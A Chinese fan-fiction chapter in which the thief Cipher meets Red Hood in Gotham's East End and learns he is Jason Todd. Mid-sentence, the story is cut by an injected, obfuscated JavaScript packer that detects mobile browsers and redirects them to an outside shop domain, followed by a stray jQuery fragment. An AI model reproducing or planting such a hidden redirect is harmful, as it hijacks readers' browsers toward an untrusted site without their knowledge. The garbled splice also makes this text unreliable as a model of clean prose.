赛飞儿从回忆里回过神，发现自己还在屋顶上蹲着，风把她银灰色的短发吹得乱七八糟。
她今晚不会去中心区了。中心区有蝙蝠侠，她目前不再想和那个黑漆漆打交道。所以她换了个方向，往东区更深的地方走去，去那个被叫做“红头罩地盘”的地方。
她对红头罩的了解不多，仅限于“与蝙蝠侠有仇怨，手段比蝙蝠侠狠”。哥谭日报的八卦版偶尔会提到他，每次用的形容词都很夸张——“血腥红头罩”“东区的暗夜法官”“比蝙蝠侠更可怕的制裁者”。
赛飞儿觉得这些标题很无聊，但她好奇这个人到底长什么样。
东区的建筑比中心区旧得多，墙上的涂鸦一层盖一层，新的大字压在旧的标语上面，像一本被反复涂改的日记。赛飞儿走在街道上，脚步很轻，猫耳捕捉着风里的每一个声音。
她听到了一个声音。
不是脚步声，不是风声，是求饶声。
赛飞儿的脚步慢了下来，朝着声音的方向走去。是一条窄巷子，比普通的巷子窄了将近一半，两侧的墙面上长满了青苔，空气里有一股潮湿的霉味。
她走到巷口，探出半个头。
巷子深处，一个穿着皮夹克的高大男人正背对着她，一只手掐着一个跪在地上的家伙的领子，把那人按在墙上。地上还躺着两个人，不知道是晕了还是不敢起来。
看了这位就应该是传说中的红头罩了。
赛飞儿认出了那个标志性的红色头罩。在月光和远处霓虹灯的混合光线下，那个头罩看起来像一颗从火里捞出来的心脏，暗红色的，带着一种不祥的光泽。
“我再问你一次，”红头罩的声音从变声器里传出来，“谁让你来的？”
被按在墙上的那个家伙嘴唇发抖，眼眶里全是眼泪，“我、我真的不知道——上面的人只让我们去偷，说是、说是给企鹅人办事——”
“偷什么？”
“各种……珠宝、现金、贵金属……每个月光东区就有七八个点……他们让我们分散行动，说这样不会被盯上……”
红头罩沉默了两秒，然后松开手。那个家伙像一滩烂泥一样滑到地上，瘫在另外两个人旁边，大口大口地喘气。
赛飞儿蹲在巷口，全程目睹了这一切。
她的手不小心碰到了墙边一个废弃的易拉罐，发出了一声很轻的“咔啦”。
红头罩的头猛地转了过来。
“哎呀。”
赛飞儿没有躲。她站起来，拍了拍裤子上的灰，大大方方地从巷口走了出来，对红头罩露出一个乖巧的笑。
“我是不是看到了什么不得了的东西？”她歪着头，语气无辜得像一只单纯的小猫咪，“不会被灭口吧，帅哥？”
红头罩上下打量了她一眼。
“贼猫。”他说。
赛飞儿无奈的摇了摇头。“是‘盗圣’啦！”她纠正道，语气里带着一丝真真切切的不满，“贼猫一点都不好听，听着像偷鱼的野猫。我嘛，是有原则的，是有品位的，有——”
“有案底的。”红头罩替她说完。
“……你能不能不要破坏我的自我介绍。”
红头罩没有接话。他低头看了一眼地上那三个人，伸脚踢了踢离他最近的那个肩膀。没反应。又踢了一脚。还是没有反应。他啧了一声，用靴尖把他们拨到墙边，然后转过身来，双手抱胸，靠在墙上。
那姿态，和蝙蝠侠如出一辙。
赛飞儿注意到了。
她当然注意到了。这种“双手抱胸靠在墙上，用一种‘我在等你解释’的眼神看着你”的姿势，她在蝙蝠侠身上见过一模一样的版本。只不过蝙蝠侠做这个动作的时候像是在审判你，而红头罩做这个动作的时候更像是在说“来吧，给我个不揍你的理由”。
赛飞儿决定给他一个理由。
“我真的只是路过。”她举起双手，以示清白，“我本来想去那边的便利店买瓶水的，听到这边有动静就过来看看。真的只是好奇。我这个人最大的缺点就是好奇心太重。”
“你不是哥谭人。”红头罩忽然说。
赛飞儿眨了眨眼。“怎么看出来的？”
“哥谭人看到这种事会绕路走。你不但没绕路，还蹲在巷口看了全程。”
“那你怎么知道我不是那种好奇心特别重的哥谭人？”
“因为那种人一般活不久。”
赛飞儿想了想，觉得这个逻辑好像没什么毛病。“好吧，我不是哥谭人。你满意了？”
红头罩没有说满意不满意。他看了她两秒，然后问了一个让她有点意外的问题。
“你打架怎么样？”
“干嘛？你想打？”
“不。”红头罩说，“我想知道如果我现在转身走，你会不会从背后偷袭我。”
赛飞儿真的笑了。“你这个人挺有意思的，”她说，“我跟你说，我从来不从背后偷袭人。没必要。我从正面就能赢。”
红头罩沉默了片刻。然后他也笑了，从头罩下面传出来的一声轻笑，带着一点相信的意味。他松开抱胸的双手，转身朝巷子另一头走去。走了几步，停下来，偏了一下头。
“跟上。”
赛飞儿愣住了。
“啊？”
“你不是说要去买水吗。”红头罩的声音从前面飘过来，“这一带我熟，带你去最近的便利店。”
赛飞儿站在那里，看着红头罩在月光下的背影，觉得这个人越来越有意思了。
她追了上去。
他们没去便利店。红头罩带她去了一个屋顶。
这是一栋普通居民楼的平顶，上面堆着一些不知道谁搬上来的破旧椅子和一张折叠桌。风很大，从东边吹过来，带着港口的水腥味和远处某家餐厅炸薯条的味道。
赛飞儿坐在一张掉漆的铁椅子上，两条腿翘在桌子上。红头罩站在屋顶边缘，背对着她，半个身体被月光镀上一层银色的轮廓。
“你和蝙蝠侠是什么关系？”赛飞儿问。
她没有铺垫，没有试探，直接扔出了这个问题。
红头罩的背影僵了一瞬。
“你猜。”他说。
“我要是猜对了你会灭口吗？”
“看心情。”
赛飞儿托着腮，看着他的背影，把这几天的信息和眼前的这个人串了起来。
红头罩。东区。手段狠。和蝙蝠侠的关系不清不楚。红罗宾提到过他，语气里带着一种“我们家的麻烦事”的那种调调。
她想起哥谭日报的一条旧新闻。
标题记不清了，大意是“蝙蝠侠的第二任搭档离奇死亡”。那个男孩叫杰森·陶德，是布鲁斯·韦恩的养子，在一次任务中被小丑绑架并杀害。
后来蝙蝠侠变得更加沉默，更加暴戾，用了很长一段时间才恢复正常。
而再后来，哥谭出现了一个叫“红头罩”的人。
没有人知道他从哪来。没有人知道他的名字。他只是出现了，带着一身和蝙蝠侠如出一辙的本事，和一种截然不同的脾气——他杀人。
赛飞儿把这些信息在脑子里拼了拼，拼出一个不太完整的画面。她不确认自己猜的对不对，但她觉得——如果猜对了，那这个人身上背着的东西，比她以为的重得多。
她决定用玩笑的语气开口。
“你俩不会是那种……养子和养父反目成仇的剧目吧？”她晃着腿，语气轻快得像在聊电视剧，“大红，你这人设也太经典了，叛逆的儿子离家出走，跑到东区占山为王——”
她说到一半，忽然注意到一件事。
红头罩没有反驳。
他甚至没有动。他站在那里，像一座雕塑，月光把他的影子拉得又长又瘦。
赛飞儿的声音卡住了。
“……等等。”
她放下腿，坐直了身体。
“我说中了？”
赛飞儿张了张嘴，想说点什么来缓解这个气氛，但她发现自己的脑子在这一刻忽然变得很迟钝。这不是她擅长的那种场合。她擅长的是骗人、偷东西、在危险来临之前跑掉。但安慰一个忽然变得沉默的人——尤其是这个人可能真的经历过那种事情——她不太会。
她想起来之前查到的那些信息。
杰森·陶德，布鲁斯·韦恩的养子，被小丑杀死。
后来蝙蝠侠把小丑打了个半死，但没有杀他。蝙蝠侠不杀人。这是他的原则，也是他和所有反派之间那条微妙的、脆弱的平衡线。
赛飞儿不觉得自己有资格评价蝙蝠侠的原则对不对。她只是忽然觉得——如果她是杰森·陶德，从坟墓里爬回来，发现杀死自己的人还活蹦乱跳地在阿卡姆疯人院里唱小曲——她大概也会戴上一个红色，不，是蓝色的头盔，用另一种方式去完成那些蝙蝠侠不肯做的事。
“哎，”赛飞儿站起来，走到红头罩旁边，和他并肩站着，看着东区灰蒙蒙的天际线，“你别不说话啊。你这不说话的样子怪吓人的，比蝙蝠侠还吓人。”
“……谢谢夸奖。”红头罩的声音从头盔里传出来，比刚才低了一些。
“这不是夸奖。”
“我知道。”
又是一阵沉默。
赛飞儿侧过头看了他一眼。他的头盔在月光下泛着暗红色的光泽，看不到表情，看不到眼神，什么都看不到。但赛飞儿能感觉到，这个人的情绪像一根绷得太紧的弦，再拨一下就会断。
“喂，大红，你别伤心了。”
红头罩转过头来看她。
“我改天去韦恩庄园给你偷点东西过来！”赛飞儿一拍胸脯，语气豪迈得像一个要去劫富济贫的侠盗，“你想要什么？他们家里肯定有很多值
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542267|203960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钱的东西，随便拿一件都够咱们吃半年——不对，够你吃半年。我不需要，我饭量小。”
红头罩沉默了两秒。
“……你想去韦恩庄园偷东西？”
“对啊，我踩过点了，路熟。”
“你踩过韦恩庄园的点？”
“对呀，第一次就碰到了蝙蝠侠。”
红头罩又沉默了。
这次沉默的时间更长。长到赛飞儿开始怀疑自己是不是又说错了什么话。
然后红头罩笑了。
“你这个人，”他说，“挺有意思的。”
“……你刚才说过了！”
“那就再说一次。”
赛飞儿眨了眨眼，然后也笑了。
“行，那我当你夸我了。”
红头罩没有接这句话。他在屋顶边缘坐了下来，两条腿悬在楼外，仰头看着哥谭那片被灯光映成橙色的天空。赛飞儿在他旁边坐下，也学着把两条腿悬出去，晃来晃去的。
“你和蝙蝠侠，”红头罩忽然开口，“怎么打的？”
“其实也不算打吧。”赛飞儿说，“他扔了个蝙蝠镖，我躲开了，他确定我不是普通人，然后他养的那只小鸟——红罗宾——从背后冒出来，差点把我堵住。”
“差点？”
“用了点小手段跑掉了。”
“什么小手段？”
赛飞儿犹豫了一瞬。
她一般不跟别人说那枚硬币的事。那枚硬币是她和翁法罗斯之间最后的联系之一，是她的底牌，是她不想让任何人知道的东西。虽说自己真正的力量并不来自于那枚硬币，但“谎言”的突破口就在于那枚硬币。
不过，红头罩刚才沉默的那几秒钟，让她觉得——这个人可以信。她看到了他身上某种和她相似的东西——被背叛过，被伤害过，选择了用一种更强硬的方式活下来，但内心深处藏着一条谁都不能碰的伤口。
她想起其中一枚猫猫币在蝙蝠侠手里，心疼得直撇嘴，“我用一枚硬币跑路的，硬币抛出去，我人就不见了。但硬币没来得及拿回来，现在应该在蝙蝠侠的腰带里待着，说不定已经被他送去化验了。”
“那是你的东西？”
“很重要的东西。”赛飞儿说，毕竟她认为每一枚硬币都是自己的好伙伴。
红头罩沉默了片刻。
“我帮你要回来。”他说。
赛飞儿愣住了。
“啊？”
“我说，我帮你要回来。”红头罩重复了一遍，语气平淡得像在说“今天天气不错”，“那个蝙蝠仗着自己有力量有装备就乱拿别人东西，早该有人治治他了。”
赛飞儿眨了眨眼。
“大红，”她歪着头，语气里带着一丝好奇，“你和他的关系真的只是养子和养父吗？我怎么觉得你提起他的语气像是……”
“像是什么？”
“像是你很想揍他又有点舍不得揍他。”
红头罩又沉默了。
“算了，”赛飞儿摆摆手，决定放过他，“不提他了。你问我那场仗，我说完了，你是不是也该告诉我点什么？”
“比如？”
“比如你叫什么名字。”
红头罩偏过头来看她，“你不是已经猜到了吗？”
“但我想听你亲自说出来。”赛飞儿说，“我告诉你一个秘密，你也告诉我一个秘密，很公平。”
“你刚才告诉我的那个算秘密？”
“当然算。”赛飞儿理直气壮，“不管你信不信，那枚硬币的事没多少人知道。”
红头罩沉默了几秒。
然后他伸手，摘下了头盔。
赛飞儿看到了他的脸。
不是她以为的那种凶神恶煞的长相。相反的，这张脸长得很好看——五官端正，眉骨高，下颌线利落，额前有几缕白色的刘海，和旁边黑色的头发形成鲜明的对比。但比长相更吸引赛飞儿注意的是他的眼睛。
那双蓝色的眼睛里带着一种很淡的疲惫。像是一个人已经走了很远的路，但还没有找到想停下来的地方。
“杰森，”他说，“杰森·陶德。”
赛飞儿看着他那缕白头发，心想——这人是真的从死亡里爬回来的。那缕白头发大概就是证据。
“我叫赛法利娅。”她说，声音比平时轻了一些，“不过你可以叫我赛飞儿。”
杰森看了她一眼。
“赛法利娅，”他重复了一遍，发音很准，“好名字。”
“你的也是。”
两个人坐在屋顶上，腿悬在外面，风从东边吹过来，带着港口的水腥味和夜色的凉意。赛飞儿不知道说什么好，杰森也没有再开口。但他们谁都没有觉得尴尬。
有时候，不说话也挺好的。
赛飞儿心想，这个世界好像也没有那么糟糕。